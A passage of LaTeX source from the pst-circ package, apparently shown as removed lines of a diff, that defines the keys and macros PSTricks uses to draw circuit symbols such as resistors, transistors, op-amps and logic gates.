\fi -\ifx\PSTMultidoLoaded\endinput\else\input multido.tex\fi -% -\def\fileversion{1.51} -\def\filedate{2009/02/20} -\message{`pst-circ' v\fileversion (CJ,hv,pd)} -% -\edef\PstAtCode{\the\catcode`\@} -\catcode`\@=11\relax -\pst@addfams{pst-circ} -% -\pstheader{pst-circ.pro} -\SpecialCoor - -% -\newdimen\Pst@position -% -\newcount\pst@count@i -\newcount\pst@count@ii -\newcount\pst@count@iii -% -\newif\ifPst@Dconvention -\newif\ifPst@parallel -\newif\ifPst@parallel@node -\newif\ifPst@T@changeLR -\newif\ifPst@Ttype -\newif\ifPst@FETchanneltype% Ted -\newif\ifPst@Trafo@iprimary -\newif\ifPst@Trafo@isecondary -% -\def\pst@Dconvention@receptor{receptor} -\def\pst@Dconvention@generator{generator} -\def\pst@Ttype@PNP{PNP} -\def\pst@Ttype@NPN{NPN} -\def\pst@Ttype@FET{FET} -\def\pst@Ttype@MOSFET{MOSFET} -\def\pst@FETchanneltype@P{P}% Ted -\def\pst@FETchanneltype@N{N}% Ted -% start Herbert 2003-07-17 -\def\pst@Dstyle@twoCircles{twoCircles} -\def\pst@Dstyle@varistor{varistor} -\def\pst@Dstyle@thyristor{thyristor} -\def\pst@Dstyle@GTO{GTO} -\def\pst@Dstyle@triac{triac} -\def\pst@Dstyle@Z{Z} -% end Herbert 2003-07-17 -\def\pst@Dstyle@normal{normal} -\def\pst@Dstyle@chemical{chemical} -\def\pst@Dstyle@elektor{elektor} -\def\pst@Dstyle@crystal{crystal} -\def\pst@Dstyle@elektorchemical{elektorchemical} -\def\pst@Dstyle@elektorcurved{elektorcurved} -\def\pst@Dstyle@curved{curved} -\def\pst@Dstyle@rectangle{rectangle} -\def\pst@Dstyle@open{open} -\def\pst@Dstyle@close{close} -\def\pst@Dstyle@zigzag{zigzag} -\def\pst@Dstyle@diamond{diamond} -\def\pst@tripole@style@left{left} -\def\pst@tripole@style@right{right} -\def\pst@tripole@style@center{center} -\def\pst@tripole@style@french{french} -% -\define@boolkey[psset]{pst-circ}[Pst@]{intensity}[true]{} -\define@key[psset]{pst-circ}{intensitylabel}[]{\def\psk@I@label{#1}} -\define@key[psset]{pst-circ}{intensitylabelcolor}[black]{\def\psk@I@labelcolor{#1}} -\define@key[psset]{pst-circ}{intensitylabeloffset}[0.5]{\def\psk@I@label@offset{#1}} -\define@key[psset]{pst-circ}{intensitycolor}[black]{\def\psk@I@color{#1}} -\define@key[psset]{pst-circ}{intensitywidth}[\pslinewidth]{\def\psk@I@width{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{tension}[true]{} -\define@key[psset]{pst-circ}{tensionlabel}[]{\def\psk@tension@label{#1}} -\define@key[psset]{pst-circ}{tensionlabelcolor}[black]{\def\psk@tension@labelcolor{#1}} -\define@key[psset]{pst-circ}{tensionoffset}[1]{\def\psk@tension@offset{#1}} -\define@key[psset]{pst-circ}{tensionlabeloffset}[1.2]{\def\psk@tension@label@offset{#1}} -\define@key[psset]{pst-circ}{tensioncolor}[black]{\def\psk@tension@color{#1}} -\define@key[psset]{pst-circ}{tensionwidth}[\pslinewidth]{\def\psk@tension@width{#1}} -\define@key[psset]{pst-circ}{labeloffset}[0.7]{\def\psk@label@offset{#1}} -\define@key[psset]{pst-circ}{labelangle}[0]{\def\psk@label@angle{#1}} -\define@key[psset]{pst-circ}{labelInside}[0]{\def\psk@labelInside{#1}} -\define@key[psset]{pst-circ}{dipoleconvention}[receptor]{\def\psk@Dconvention{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{directconvention}[true]{} -\define@key[psset]{pst-circ}{dipolestyle}[normal]{\def\psk@Dstyle{#1}} -\define@key[psset]{pst-circ}{parallel}[true]{\@nameuse{Pst@parallel#1}} -\define@key[psset]{pst-circ}{parallelarm}[1.5]{\def\psk@parallel@arm{#1}} -\define@key[psset]{pst-circ}{parallelsep}[0]{\def\psk@parallel@sep{#1}} -\define@key[psset]{pst-circ}{parallelnode}[true]{\@nameuse{Pst@parallel@node#1}} -\define@boolkey[psset]{pst-circ}[Pst@wire@]{intersect}[true]{} -\define@key[psset]{pst-circ}{intersectA}{\def\psk@wire@intersectA{#1}} -\define@key[psset]{pst-circ}{intersectB}{\def\psk@wire@intersectB{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{OAperfect}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OApower}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OAinvert}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OAiplus}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OAiminus}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OAiout}[true]{} -\define@key[psset]{pst-circ}{OAipluslabel}[]{\def\psk@label@OAiplus{#1}} -\define@key[psset]{pst-circ}{OAiminuslabel}[]{\def\psk@label@OAiminus{#1}} -\define@key[psset]{pst-circ}{OAioutlabel}[]{\def\psk@label@OAiout{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{transistorcircle}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{transistorinvert}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{transistoribase}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{transistoricollector}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{transistoriemitter}[true]{} -\define@key[psset]{pst-circ}{transistoribaselabel}[]{\def\psk@labeltransistoribase{#1}} -\define@key[psset]{pst-circ}{transistoricollectorlabel}[]{\def\psk@labeltransistoricollector{#1}} -\define@key[psset]{pst-circ}{transistoriemitterlabel}[]{\def\psk@labeltransistoriemitter{#1}} -\define@key[psset]{pst-circ}{FETchanneltype}{\def\psk@FETchanneltype{#1}}% Ted 2007-10-15 -\define@boolkey[psset]{pst-circ}[Pst@]{FETmemory}[true]{} -\define@key[psset]{pst-circ}{transistortype}[NPN]{% - \def\psk@Ttype{#1}% - \ifx\psk@Ttype\pst@Ttype@FET \Pst@transistorcirclefalse\fi - \ifx\psk@Ttype\pst@Ttype@MOSFET \Pst@transistorcirclefalse\fi} -\newdimen\Pst@basesep -\define@key[psset]{pst-circ}{basesep}[0]{\pst@getlength{#1}\Pst@basesep} -\define@key[psset]{pst-circ}{TRot}[0]{\pst@checknum{#1}\Pst@TRot} -\define@key[psset]{pst-circ}{circedge}[\pcangle]{% - \let\pscirc@edge#1% - \ifx\pscirc@edge\@none\def\pscirc@edge(##1)(##2){}\fi% - \ifx\pscirc@edge\pcangles\def\pscirc@edge@sector{2.5}\else\def\pscirc@edge@sector{1.5}\fi% -} -% -\define@key[psset]{pst-circ}{primarylabel}[]{\def\psk@Trafo@primary@label{#1}} -\define@key[psset]{pst-circ}{secondarylabel}[]{\def\psk@Trafo@secondary@label{#1}} -\define@key[psset]{pst-circ}{transformeriprimary}[true]{\@nameuse{Pst@Trafo@iprimary#1}} -\define@key[psset]{pst-circ}{transformerisecondary}[true]{\@nameuse{Pst@Trafo@isecondary#1}} -\define@key[psset]{pst-circ}{transformeriprimarylabel}[]{\def\psk@Trafo@iprimary@label{#1}} -\define@key[psset]{pst-circ}{transformerisecondarylabel}[]{\def\psk@Trafo@isecondary@label{#1}} -\define@key[psset]{pst-circ}{tripolestyle}[normal]{\def\psk@tripole@style{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{variable}[true]{} -% -\define@boolkey[psset]{pst-circ}[Pst@]{logicChangeLR}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{logicShowDot}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{logicShowNode}[true]{} -\define@key[psset]{pst-circ}{logicWidth}[1.5]{\def\psk@logic@width{#1}}% hv -\define@key[psset]{pst-circ}{logicHeight}[2.5]{\def\psk@logic@height{#1}}% hv -\define@key[psset]{pst-circ}{logicType}[and]{\def\psk@logic@type{#1}}% hv -\define@key[psset]{pst-circ}{logicNInput}[2]{\def\psk@logic@nInput{#1}}% hv -\define@key[psset]{pst-circ}{logicNOutput}[2]{\def\psk@logic@nOutput{#1}}% pg -\define@key[psset]{pst-circ}{logicJInput}[2]{\def\psk@logic@JInput{#1}}% hv -\define@key[psset]{pst-circ}{logicKInput}[2]{\def\psk@logic@KInput{#1}}% hv -\define@key[psset]{pst-circ}{logicWireLength}[0.5]{\def\psk@logic@wireLength{#1}}% hv -\define@key[psset]{pst-circ}{logicLabelstyle}[\small]{\def\psk@logic@labelstyle{#1}}% hv -\define@key[psset]{pst-circ}{logicSymbolstyle}[\large]{\def\psk@logic@symbolstyle{#1}}% hv -\define@key[psset]{pst-circ}{logicSymbolpos}[0.5]{\def\psk@logic@symbolpos{#1}}% hv -\define@key[psset]{pst-circ}{logicNodestyle}[\footnotesize]{\def\psk@logic@nodestyle{#1}}% hv - -% -\def\pst@logic@type@and{and} -\def\pst@logic@type@or{or} -\def\pst@logic@type@nand{nand} -\def\pst@logic@type@nor{nor} -\def\pst@logic@type@not{not} -\def\pst@logic@type@exor{exor} -\def\pst@logic@type@exnor{exnor} -\def\pst@logic@type@user{user} -% -\def\pst@logic@type@RS{RS} -\def\pst@logic@type@D{D} -\def\pst@logic@type@JK{JK} -% -\psset[pst-circ]{% - labelInside=0,circedge=\pcangle, - intensity=false,intensitylabel={}, - intensitylabeloffset=0.5, - intensitycolor=black,intensitylabelcolor=black,intensitywidth=\pslinewidth, - tension=false,tensionlabel={},tensionoffset=1,tensionlabeloffset=1.2, - tensioncolor=black,tensionlabelcolor=black,tensionwidth=\pslinewidth, - labeloffset=0.7,labelangle=0,dipoleconvention=receptor,directconvention=true,dipolestyle=normal - parallel=false,parallelarm=1.5,parallelsep=0,parallelnode=false, - intersect=false,OAperfect=true,OAinvert=true, - OAiplus=false,OAiminus=false,OAiout=false,OAipluslabel={}, - OAiminuslabel={},OAioutlabel={},OApower=false,% - transistorcircle=true, transistorinvert=false, % hv 2003-07-23 - transistoribase=false,transistoricollector=false,transistoriemitter=false,% - transistoribaselabel={},basesep=0pt, - transistoricollectorlabel={},transistoriemitterlabel={}, - transistortype=NPN,TRot=0,% - FETmemory=false, % atosch - primarylabel={},secondarylabel={},transformeriprimary=false,transformerisecondary=false, - transformeriprimarylabel={},transformerisecondarylabel={}, - tripolestyle=normal,variable=false, - logicShowDot=false, logicShowNode=false, logicChangeLR=false, % hv - logicWireLength=0.5, logicWidth=1.5, logicHeight=2.5, % hv - logicNInput=2, logicJInput=2, logicKInput=2, logicType=and, % hv - logicLabelstyle=\small, logicSymbolstyle=\large, - logicSymbolpos=0.5,logicNodestyle=\footnotesize -}% hv - -% -\newpsstyle{baseOpt}{circedge=\pcline,arrows=-,arm=.5,angleA=0,angleB=180} -\newpsstyle{emitterOpt}{arrows=-,arm=.5,angleA=180,angleB=-90}% -\newpsstyle{collectorOpt}{arrows=-,arm=.5,angleA=180,angleB=90} -% -\def\wire{\@ifnextchar[{\pst@draw@wire}{\pst@draw@wire[]}} -\def\tension{\@ifnextchar[{\pst@draw@tension@}{\pst@draw@tension@[]}} -% -\def\RFLine{\@ifnextchar[{\pst@RFLine}{\pst@RFLine[]}} -\def\pst@RFLine[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@RFLine}\ignorespaces} -% -\def\resistor{\@ifnextchar[{\pst@resistor}{\pst@resistor[]}} -\def\pst@resistor[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@resistor}\ignorespaces} -% -\def\relais{\@ifnextchar[{\pst@relais}{\pst@relais[]}} -\def\pst@relais[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@relais}\ignorespaces} -% -\def\capacitor{\@ifnextchar[{\pst@capacitor}{\pst@capacitor[]}} -\def\pst@capacitor[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@capacitor}\ignorespaces} -% -\def\battery{\@ifnextchar[{\pst@battery}{\pst@battery[]}} -\def\pst@battery[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@battery}\ignorespaces} -% -\def\coil{\@ifnextchar[{\pst@coil}{\pst@coil[]}} -\def\pst@coil[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@coil}\ignorespaces} -% -\def\Ucc{\@ifnextchar[{\pst@Ucc}{\pst@Ucc[]}} -\def\pst@Ucc[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@Ucc}\ignorespaces} -% -\def\Icc{\@ifnextchar[{\pst@Icc}{\pst@Icc[]}} -\def\pst@Icc[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@Icc}\ignorespaces} -% -\def\switch{\@ifnextchar[{\pst@switch}{\pst@switch[]}} -\def\pst@switch[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@switch}\ignorespaces} -% -\def\diode{\@ifnextchar[{\pst@diode}{\pst@diode[]}} -\def\pst@diode[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@diode}\ignorespaces} -% -\def\Zener{\@ifnextchar[{\pst@Zener}{\pst@Zener[]}} -\def\pst@Zener[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@Zener}\ignorespaces} -% -\def\lamp{\@ifnextchar[{\pst@lamp}{\pst@lamp[]}} -\def\pst@lamp[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@lamp}\ignorespaces} -% -\def\circledipole{\@ifnextchar[{\pst@circledipole}{\pst@circledipole[]}} -\def\pst@circledipole[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@circledipole}\ignorespaces} -% -\def\LED{\@ifnextchar[{\pst@LED}{\pst@LED[]}} -\def\pst@LED[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@LED}\ignorespaces} -% -% pd start ==================================================== -\def\dashpot{\@ifnextchar[{\pst@dashpot}{\pst@dashpot[]}} -\def\pst@dashpot[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@dashpot}\ignorespaces} -% pd end ====================================================== -% -\def\OA{\pst@object{OA}} -\def\OA@i(#1)(#2)(#3){% - \addbefore@par{dimen=middle}% - \begin@ClosedObj% - \if\psk@label@OAiplus\@empty\else\psset{OAiplus=true}\fi% - \if\psk@label@OAiminus\@empty\else\psset{OAiminus=true}\fi% - \if\psk@label@OAiout\@empty\else\psset{OAiout=true}\fi% - \ifPst@intensity\psset{OAiplus=true,OAiminus=true,OAiout=true}\fi% - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 lt {X3 X2} {X3 X1} ifelse add 2 div def - /YC Y1 Y2 add 2 div def - XC YC){C@} - \rput(C@){\pst@draw@OA} - \ncangle[arrows=-,arm=.5,angleA=0,angleB=180]{#1}{\ifPst@OAinvert Minus@\else Plus@\fi} - \ncput[npos=2]{\pnode{\ifPst@OAinvert Minus@@\else Plus@@\fi}} - \ifPst@OAiplus - \ifPst@OAinvert\else - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \naput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiplus} - \fi - \fi - \ifPst@OAiminus - \ifPst@OAinvert - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \naput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiminus} - \fi - \fi - \ncangle[arrows=-,arm=.5,angleA=0,angleB=180]{#2}{\ifPst@OAinvert Plus@\else Minus@\fi} - \ncput[npos=2]{\pnode{\ifPst@OAinvert Plus@@\else Minus@@\fi}} - \ifPst@OAiplus - \ifPst@OAinvert - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \nbput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiplus} - \fi - \fi - \ifPst@OAiminus - \ifPst@OAinvert\else - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \nbput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiminus} - \fi - \fi - \ncangle[arrows=-,arm=.5,angleA=180,angleB=0]{#3}{S@} - \ncput[npos=2]{\pnode{S@@}} - \ifPst@OAiout - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \naput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiout} - \fi - \psline[linestyle=none](#1)(#2)% for the end arrows - \psline[linestyle=none](#1)(#3)% for the end arrows - \end@ClosedObj - \ignorespaces% -} -% -\newif\ifPst@temp -\def\transistor{\def\pst@par{}\pst@object{transistor}} -\def\transistor@i(#1){% -% \addbefore@par{circedge=\pcangle} - \pst@killglue - \begingroup - \use@par% - \@ifnextchar({\transistor@iii(#1)}{\Pst@tempfalse\transistor@ii(#1)}} -% -\def\transistor@ii(#1)#2#3{% with one node, the base - \pst@killglue% - \ifPst@temp\pnode(#1){TBaseNode}% - \else% - \pst@getcoor{#1}\pst@tempA% - \pnode(! - \pst@tempA /YB exch \pst@number\psyunit div def - /XB exch \pst@number\psxunit div def - /basesep \Pst@basesep\space \pst@number\psxunit div def - XB basesep \Pst@TRot\space cos mul add - YB basesep \Pst@TRot\space sin mul add){TBaseNode}% base node - \fi% -% \psdot(#1)% - \rput[c]{\Pst@TRot}(TBaseNode){%(#1){% - \ifPst@transistorcircle\pscircle(0.3,0){0.7}\fi% - \ifx\psk@Ttype\pst@Ttype@FET\relax% - \ifPst@FETmemory% atosch - \psline[arrows=-,linewidth=\psk@I@width](-0.15,0.5)(-0.15,-0.5)% - \fi% - \psline[arrows=-,linewidth=\psk@I@width](TBaseNode|0,0.5)(TBaseNode|0,-0.5)% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \pnode(0.12,0|TBaseNode){TRightNode} - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax - \psline[arrows=-,linewidth=\psk@I@width](TBaseNode|0,-1)(TBaseNode|0,0)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,-1)(TRightNode|0,-0.8)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,-0.7)(TRightNode|0,-0.3)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,-0.2)(TRightNode)% - \else - \psline[arrows=-,linewidth=\psk@I@width](TBaseNode|0,1)(TBaseNode|0,0)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,1)(TRightNode|0,0.8)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,0.7)(TRightNode|0,0.3)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,0.2)(TRightNode)% - \fi - \else - \psline[arrows=-,linewidth=4\pslinewidth](TBaseNode|0,0.4)(TBaseNode|0,-0.4)% - \fi\fi% - \ifnum180=\Pst@TRot\relax% - \ifx\psk@Ttype\pst@Ttype@FET\relax% - \ifPst@transistorinvert\pnode(0.75,-0.5){#2}\else\pnode(0.75,-0.5){#3}\fi% - \ifPst@transistorinvert\pnode(0.75,0.5){#3}\else\pnode(0.75,0.5){#2}\fi% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \ifPst@transistorinvert\pnode(0.75,0.0){#2}\else\pnode(0.75,0.0){#3}\fi% - \ifPst@transistorinvert\pnode(0.75,1.0){#3}\else\pnode(0.75,1.0){#2}\fi% - \else - \ifPst@transistorinvert\pnode(0.75,0.0){#2}\else\pnode(0.75,0.0){#3}\fi% - \ifPst@transistorinvert\pnode(0.75,1.0){#3}\else\pnode(0.75,1.0){#2}\fi% - \fi - \else% - \ifPst@transistorinvert\pnode(0.5,-0.5){#2}\else\pnode(0.5,-0.5){#3}\fi% - \ifPst@transistorinvert\pnode(0.5,0.5){#3}\else\pnode(0.5,0.5){#2}\fi% - \fi\fi% - \else% - \ifx\psk@Ttype\pst@Ttype@FET\relax% - \ifPst@transistorinvert\pnode(0.65,0.5){#2}\else\pnode(0.65,0.5){#3}\fi% - \ifPst@transistorinvert\pnode(0.65,-0.5){#3}\else\pnode(0.65,-0.5){#2}\fi% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \ifPst@transistorinvert\pnode(0.65,-1.0){#3}\else\pnode(0.65,-1.0){#2}\fi% - \ifPst@transistorinvert\pnode(0.65,0.0){#2}\else\pnode(0.65,0.0){#3}\fi% - \else - \ifPst@transistorinvert\pnode(0.65,1.0){#2}\else\pnode(0.65,1.0){#3}\fi% - \ifPst@transistorinvert\pnode(0.65,0.0){#3}\else\pnode(0.65,0.0){#2}\fi% - \fi - \else% - \ifPst@transistorinvert\pnode(0.5,0.5){#2}\else\pnode(0.5,0.5){#3}\fi% - \ifPst@transistorinvert\pnode(0.5,-0.5){#3}\else\pnode(0.5,-0.5){#2}\fi% - \fi\fi% - \fi% - \ifx\psk@Ttype\pst@Ttype@FET\relax% - \ifnum180=\Pst@TRot\relax - \psline[arrows=-](0.6,0.5)(0.05,0.5)(0.05,-0.5)(0.6,-0.5)% - \else - \psline[arrows=-](0.65,0.5)(0.15,0.5)(0.15,-0.5)(0.65,-0.5)% - \fi% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \ifnum180=\Pst@TRot\relax - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \psline[arrows=-](0.6,-1.0)(0.05,-1.0)% - \psline[arrows=-](0.05,0.0)(0.6,0.0)% - \else - \psline[arrows=-](0.6,1.0)(0.05,1.0)% - \psline[arrows=-](0.05,0.0)(0.6,0.0)% - \fi - \else - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \psline[arrows=-](0.65,-1.0)(0.12,-1.0)% - \psline[arrows=-](0.12,0.0)(0.65,0.0)% - \else - \psline[arrows=-](0.65,1.0)(0.12,1.0)% - \psline[arrows=-](0.12,0.0)(0.65,0.0)% - \fi - \fi% - \else% - \psline[arrows=-](0.5,0.5)(TBaseNode)(0.5,-0.5)% - \fi\fi% - \ifx\psk@Ttype\pst@Ttype@FET\relax% -% \ifx\psk@Ttype\pst@Ttype@PNP\relax% - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% Ted 2007-10-15 - \psline[origin={#3},arrowinset=0,arrowsize=8\pslinewidth]{->}(-0.5,0)% - \else% - \psline[origin={#2},arrowinset=0,arrowsize=8\pslinewidth]{<-}(-0.5,0)% - \fi% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \psline[origin={#3},arrows=-](0,-0.5)% - \psline[origin={#3},arrowinset=0,arrowsize=8\pslinewidth]{<-}(0,-0.5)(-0.5,-0.5)% - \else% - \psline[origin={#2},arrows=-](0,0.5)% - \psline[origin={#2},arrowinset=0,arrowsize=8\pslinewidth]{->}(0,0.5)(-0.5,0.5)% - \fi% - \else% - \ifx\psk@Ttype\pst@Ttype@PNP\relax% - \psline[arrowinset=0,arrowsize=8\pslinewidth]{->}(#3)(TBaseNode)% - \else% - \psline[arrowinset=0,arrowsize=8\pslinewidth]{->}(TBaseNode)(#2)% - \fi% - \fi\fi% - }% - \ifPst@temp\else\endgroup\fi% - \ignorespaces% -} -% -\def\transistor@iii(#1)(#2)(#3){% with three nodes - \pst@getcoor{#1}\pst@tempA% - \pst@getcoor{#2}\pst@tempB% - \pst@getcoor{#3}\pst@tempC% - \pnode(!% - \pst@tempA /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempB /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempC /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /LR X1 X2 lt { false }{ true } ifelse def % change left-right - /basesep \Pst@basesep\space \pst@number\psxunit div def - /XBase X1 basesep \Pst@TRot\space cos mul add def - /YBase Y1 basesep \Pst@TRot\space sin mul add def - XBase YBase ){@@base}% base node -% - \Pst@temptrue% - \transistor@ii(@@base){@@emitter}{@@collector}% -% - \if\psk@labeltransistoribase\@empty\else\psset{transistoribase=true}\fi% - \if\psk@labeltransistoriemitter\@empty\else\psset{transistoriemitter=true}\fi% - \if\psk@labeltransistoricollector\@empty\else\psset{transistoricollector=true}\fi% - \ifPst@intensity\psset{transistoribase=true,transistoriemitter=true,transistoricollector=true}\fi% -% - \bgroup\psset{style=baseOpt}\pscirc@edge(#1)(TBaseNode)\egroup% - \ifPst@transistoribase% base current? - \ncput[npos=0.5,nrot=\Pst@TRot]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width,% - arrowsize=6\pslinewidth,arrowinset=0]{->}(-.1,0)(.1,0)}% - \naput[npos=0.5]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoribase}% - \fi% - \bgroup% - \psset{style=collectorOpt}% - \ifPst@transistorinvert\pscirc@edge(#3)(@@emitter)\else\pscirc@edge(#3)(@@collector)\fi% - \egroup% - \ncput[npos=2]{\pnode{\ifPst@transistorinvert @@emitter\else @@collector\fi}}% - \ifPst@transistoriemitter% emitter current? - \ifPst@transistorinvert% emitter/collector changed? - \ncput[npos=\pscirc@edge@sector,nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width,% - arrowsize=6\pslinewidth,arrowinset=0]{->}(-0.1,0)(0.1,0)} - \nbput[npos=\pscirc@edge@sector]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoriemitter} - \fi\fi% - \ifPst@transistoricollector% collector current? - \ifPst@transistorinvert\else% emitter/collector changed? - \ncput[npos=\pscirc@edge@sector,nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width,% - arrowsize=6\pslinewidth,arrowinset=0]{->}(-.1,0)(.1,0)} - \nbput[npos=\pscirc@edge@sector]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoricollector} - \fi\fi% - \bgroup - \psset{style=emitterOpt} - \ifPst@transistorinvert\pscirc@edge(#2)(@@collector)\else\pscirc@edge(#2)(@@emitter)\fi - \egroup - \ncput[npos=2]{\pnode{\ifPst@transistorinvert @@collector\else @@emitter\fi}} - \ifPst@transistoriemitter - \ifPst@transistorinvert\else - \ncput[npos=\pscirc@edge@sector,nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width, - arrowsize=6\pslinewidth,arrowinset=0]{<-}(-.1,0)(.1,0)} - \naput[npos=\pscirc@edge@sector]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoriemitter} - \fi\fi% - \ifPst@transistoricollector% collector current? - \ifPst@transistorinvert% emitter/collector changed? - \ncput[npos=\pscirc@edge@sector,nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width, - arrowsize=6\pslinewidth,arrowinset=0]{<-}(-.1,0)(.1,0)} - \naput[npos=\pscirc@edge@sector]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoricollector} - \fi\fi - \psline[linestyle=none](#1)(#2)% for the end arrows - \psline[linestyle=none](#1)(#3)% for the end arrows - \endgroup - \ignorespaces% -} -% -\def\Tswitch{\pst@object{Tswitch}} -\def\Tswitch@i(#1)(#2)(#3)#4{% - \addbefore@par{dimen=middle}% - \begin@ClosedObj - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 add 2 div def - /YC Y2 def - XC YC){C@} - \rput(C@){\pst@draw@Tswitch} - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tswi@left} - \ncangle[arrows=-,arm=0.5,angleB=0]{#2}{Tswi@right} - \ncangle[arrows=-,arm=0.5,angleB=-90]{#3}{Tswi@center} - \ncline[arrows=-,linestyle=none,fillstyle=none]{Tswi@left}{Tswi@right} - \naput{#4} - \pcline[linestyle=none](#1)(#2)% for the endarrows - \pcline[linestyle=none](#2)(#3)% for the endarrows - \end@ClosedObj - \ignorespaces% -} -% -% 20030830 hv -% -\def\potentiometer{\pst@object{potentiometer}} -\def\potentiometer@i(#1)(#2)(#3)#4{% - \begin@ClosedObj - \resistor(#1)(#2){#4} - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc 